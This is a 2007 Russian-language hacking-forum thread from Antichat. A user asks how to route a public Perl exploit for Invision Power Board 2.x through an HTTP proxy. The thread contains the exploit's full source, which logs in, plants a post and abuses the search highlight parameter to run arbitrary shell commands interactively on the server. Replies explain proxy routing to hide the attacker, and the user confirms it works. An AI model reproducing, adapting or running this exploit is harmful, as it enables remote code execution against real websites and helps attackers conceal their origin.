ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

proxy в perl
  #1  
Старый 27.12.2007, 13:57
Аватар для CMM
CMM
Новичок
Регистрация: 27.12.2007
Сообщений: 4
Провел на форуме:
13661

Репутация: 5
По умолчанию proxy в perl

Помогите кто может:

Как можно модифицировать эксплоит:

Invision Power Board 2.* commands execution exploit by RST/GHC

чтобы он запрос делал через прокси.

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

ставлю в Localaddr и LocalPort значения от прокси сервера, но не пашет:

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80", LocalAddr => "$proxyaddr", LocalPort => "$proxyport") || die "[-] CONNECTION FAILED";

Спасибо
CMM
 
Ответить с цитированием

  #2  
Старый 27.12.2007, 14:05
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

там где идет запрос GET.. или POST нужно вставить примерно так GET http://somehost.ru/blabla.php вместо того что там изначально GET /blabla.php...
 
Ответить с цитированием

  #3  
Старый 27.12.2007, 14:14
Аватар для CMM
CMM
Новичок
Регистрация: 27.12.2007
Сообщений: 4
Провел на форуме:
13661

Репутация: 5
По умолчанию

Цитата:
Сообщение от C!klodoL  
там где идет запрос GET.. или POST нужно вставить примерно так GET http://somehost.ru/blabla.php вместо того что там изначально GET /blabla.php...

Спасибо за ответ, но он уже стоит там $dir,

print $sock "GET ${dir}index.php HTTP/1.1\r\n";



и я не понял а куда вставлять информацию про прокси?

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80", LocalAddr => "$proxyaddr", LocalPort => "$proxyport") || die "[-]

Это строка не пашет

CMM
 
Ответить с цитированием

  #4  
Старый 27.12.2007, 14:17
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

PeerAddr => "$host" - адрес прокси, PeerPort => "80" - порт прокси, а вообще кинь скрипт сплоента
 
Ответить с цитированием

  #5  
Старый 27.12.2007, 14:26
Аватар для CMM
CMM
Новичок
Регистрация: 27.12.2007
Сообщений: 4
Провел на форуме:
13661

Репутация: 5
По умолчанию

Цитата:
Сообщение от C!klodoL  
PeerAddr => "$host" - адрес прокси, PeerPort => "80" - порт прокси, а вообще кинь скрипт сплоента

Понял, спасибо, сейчас посмотрим...

А xploit вот:

PHP код:
#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use 
Getopt::Std;

getopts("l:h:p:d:f:v:");

$host     $opt_h;
$dir      $opt_d;
$login    $opt_l;
$password $opt_p;
$forum    $opt_f;
$version  $opt_v || 0;

$|++;

header();
if(!
$host||!$dir||!$login||!$password||!$forum) { usage(); }

print 
"[~]    SERVER : $host\r\n";
print 
"[~]      PATH : $dir\r\n";
print 
"[~]     LOGIN : $login\r\n";
print 
"[~]  PASSWORD : $password\r\n";
print 
"[~]    TARGET : $version";
print ((
$version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print 
"\r\n";

print 
"[~] Login ... ";

$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
$login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post     'UserName='.$login.'&PassWord='.$password;
$loggedin 0;
print 
$sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Connection: close\r\n";
print 
$sock "Content-Type: application/x-www-form-urlencoded\n";
print 
$sock "Content-length: ".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
{  
 if(/
session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
print 
$sock "GET ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
{    
 if(/
act=Login&amp;CODE=03/) { $loggedin 1last; }
}
if(
$loggedin) { print " [ DONE ]\r\n"; }
else { print 
" [ FAILED ]\r\n"; }

print 
"[+] SID: $sid\r\n";

print 
"[~] Try get md5_check ...";
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
if(
$version==1)
 {
 print 
$sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
 }
else
 {
 print 
$sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
 }
print 
$sock "Host: $host\r\n";
print 
$sock "Cookie: session_id=$sid;\r\n";
print 
$sock "Connection: close\r\n\r\n";
while (<
$sock>)
 {  
 if(
$version == && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
 if(
$version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
 }
close(
$sock);
if(
$md5_check) { print " DONE ]\r\n"; print "[+] MD5_CHECK $md5_check\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

print "
[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'Deniska pipiska - snovim godom';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Deniska_pipiska_-_snovim_godom&TopicDesc=Deniska_pipiska_-_snovim_godom&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print 
$sock "POST ${dir}index.php HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";
while (<
$sock>)
 {  
 if(/Location:/) { 
$created = 1; last; }
 }
if(
$created) { print " DONE ]\r\n"; }
else { print " 
FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "
[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print 
$sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print 
$sock "Host$host\r\n";
print 
$sock "Cookiesession_id=$sid;\r\n";
print 
$sock "Connectionclose\r\n";
print 
$sock "Content-Typeapplication/x-www-form-urlencoded\n";
print 
$sock "Content-length".length($post)."\r\n\r\n";
print 
$sock "$post";
print 
$sock "\r\n\r\n";

while (<
$sock>)
 {
 if(/searchid=([a-f|0-9]{32})/) { 
$searchid = $1; last; }
 }

if(
$searchid) { print " DONE ]\r\n"; }
else { print "
FAILED ]\r\n"; exit(); }
print "
[+] SEARCHID$searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
 {
    print "
Command for execute or 'exit' for exit # ";
    
while(<STDIN>)
     {
        
$cmd=$_;
        
chomp($cmd);
        exit() if (
$cmd eq 'exit');
        
last;
     }
    &
run($cmd);
 }

sub run()
 {
  
$cmd =~ s/(.*);$/$1/eg;
  
$cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  
$cmd2 '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20';
  
$cmd2 .= $cmd;
  
$cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
  
$sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
  
  print 
$sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
  print 
$sock "Host: $host\r\n";
  print 
$sock "Cookie: session_id=$sid;\r\n";
  print 
$sock "Connection: close\r\n\r\n";

  
$on 0;
  
$runned 0;
  while (
$answer = <$sock>)
   {
    if (
$answer =~ /^_END_/) { return 0; }
    if (
$on == 1) { print "  $answer"; }
    if (
$answer =~ /^_START_/) { $on 1; }
   }
 }
 
sub header()
 {
 print 
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";   
 print 
" Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
 print 
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";
 }
 
sub usage()
 {
 print 
"r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
 print 
"<host>     - host where IPB installed e.g www.ipb.com\r\n";
 print 
"<dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
 print 
"<login>    - login of any exist user\r\n";
 print 
"<password> - and password too )\r\n";
 print 
"<forum>    - number of forum where user can create topic e.g 2,4, etc\r\n";
 print 
"<version>  - forum version:\r\n";
 print 
"             0 - 2.0.*\r\n";
 print 
"             1 - 2.1.*\r\n";
 exit();
 }

# milw0rm.com [2006-04-26] 
 
Ответить с цитированием

  #6  
Старый 27.12.2007, 14:42
Аватар для C!klodoL
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

проверить на работоспособность сейчас не могу, по этому объясняю так, короче, где идут запросы нужно вставить $host, вот так вот:
print $sock "POST $host.${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "GET $host.${dir}index.php HTTP/1.1\r\n"; и так далее
IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80")
PeerAddr => "$host" и PeerPort => "80" соответственно прокся
 
Ответить с цитированием

  #7  
Старый 27.12.2007, 15:05
Аватар для CMM
CMM
Новичок
Регистрация: 27.12.2007
Сообщений: 4
Провел на форуме:
13661

Репутация: 5
По умолчанию

Цитата:
Сообщение от C!klodoL  
проверить на работоспособность сейчас не могу, по этому объясняю так, короче, где идут запросы нужно вставить $host, вот так вот:
print $sock "POST $host.${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "GET $host.${dir}index.php HTTP/1.1\r\n"; и так далее
IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80")
PeerAddr => "$host" и PeerPort => "80" соответственно прокся

Спасибо огромное, так и сделал пашет, только в PeerAddr => "$host" надо писать не $host, а адресс прокси сервера

CMM
 
Ответить с цитированием

  #8  
Старый 27.12.2007, 17:59
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Я бы просто запустил с шелла и не парился)
__________________
 
Ответить с цитированием

  #9  
Старый 28.12.2007, 10:18
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

Помнится, в стародавние времена, когда я разбирался с сетью в перле, работу через HTTP-прокси (особо как-то не парился) организовывал по такому ламерскому алгоритму:
1. создание сокета к прокси-серверу при помощи функции socket() (не юзал IO::Socket::INET);
2. коннект к прокси функцией connect();
3. формирование GET- или POST-запроса к требуемому урлу, например, GET www.google.com HTTP/1.0 ... (вставлял еще пару-тройку HTTP-полей);
4. отсылка запроса функцией send();
5. если нужно было получить результаты запроса, то юзалась recv(), а результат сохранялся в файле;
6. ну и делалась клозе на сокете
Работало как на беспарольных прокси, так и запароленных, для последних в HTTP-запрос добавлялась пара полей.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Живые прокси xdx ICQ 111 15.04.2007 13:10
Опасность ошибок Perl недооценивалась? 1251soldier Мировые новости 0 01.12.2005 20:56
Php || perl Proxy Elesar PHP, PERL, MySQL, JavaScript 15 28.11.2005 18:37
Books Perl FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:58
Безопасность приложений на Perl k00p3r Чужие Статьи 0 12.06.2005 09:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ